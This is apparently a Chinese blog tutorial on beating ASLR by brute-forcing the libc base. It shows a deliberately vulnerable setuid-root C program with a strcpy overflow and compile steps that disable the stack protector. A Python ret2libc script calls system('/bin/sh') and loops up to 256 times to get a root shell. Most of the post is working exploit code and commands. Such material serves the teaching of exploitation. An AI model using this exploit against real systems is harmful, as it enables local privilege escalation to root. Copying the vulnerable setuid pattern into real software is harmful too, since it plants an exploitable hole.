(1)原理:

  使用爆破技巧,来绕过共享库地址随机化。爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。这个技巧是用于绕过 ASLR 的最简单的技巧。

(2)漏洞代码

	//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}

编译

echo 2 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -g -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

(3)当随机化打开时不同的 Libc 基址

上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。

(4)攻击代码

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
libc_base_addr = 0x161dd8 #随便选择一个基址即可
exit_off = 0x001a615c
system_off = 0x0003f430
binsh_off=0x161dd8
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
binsh_arg = binsh_off+libc_base_addr

#endianess convertion
def conv(num):
return struct.pack("<I",num)
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(binsh_arg)
bufl=""
print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
print "Number of tries: %d" %i
i += 1
ret = call(["./vuln", buf])
if (not ret):
break
else:
print "Exploit failed"

获得system和exit偏移地址:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

(5)从网站https://libc.blukat.me/获得/bin/sh偏移地址

(6)执行程序 $python exp.py,获得root shell。

最新文章

  1. LeetCode:Word Ladder I II
  2. css before,after伪元素妙用
  3. [Docker] docker 基础学习笔记2(共6篇)
  4. 学习之路三十五:Android和WCF通信 - 大数据压缩后传输
  5. 过滤DataTable中的空数据
  6. BZOJ 1494 生成树计数(生成树计数-矩阵)
  7. Dia Diagram Mac OSX Yosemite Fix 闪退 xterm
  8. lib库依赖解决
  9. 李洪强iOS开发之提交AppStory时候遇到的坑
  10. 常用WebService一览表
  11. Oracle完全卸载详解
  12. 解决 AttributeError: &#39;ForeignKey&#39; object has no attribute &#39;re&#39;
  13. IntellijIDEA常用快捷键总结
  14. C# 我的小画板
  15. Spring @Pathvariable
  16. tensorflow的variable的eval()和read_eval()有什么不同
  17. Video Processing subsystem例程分析
  18. hdu4027Can you answer these queries?【线段树】
  19. bzoj-4565-区间dp+状压
  20. UVA11653_Buses

热门文章

  1. Concurrent初探 --- Atomic 无锁
  2. zabbix(x)
  3. WebRTC MediaStream接口
  4. ISA真慢
  5. 安卓P2P开源项目
  6. linux chown 命令用法
  7. UI——DOM
  8. Linux输出信息并将信息记录到文件(tee命令)
  9. python高级知识
  10. javascript从网络下载随机笑话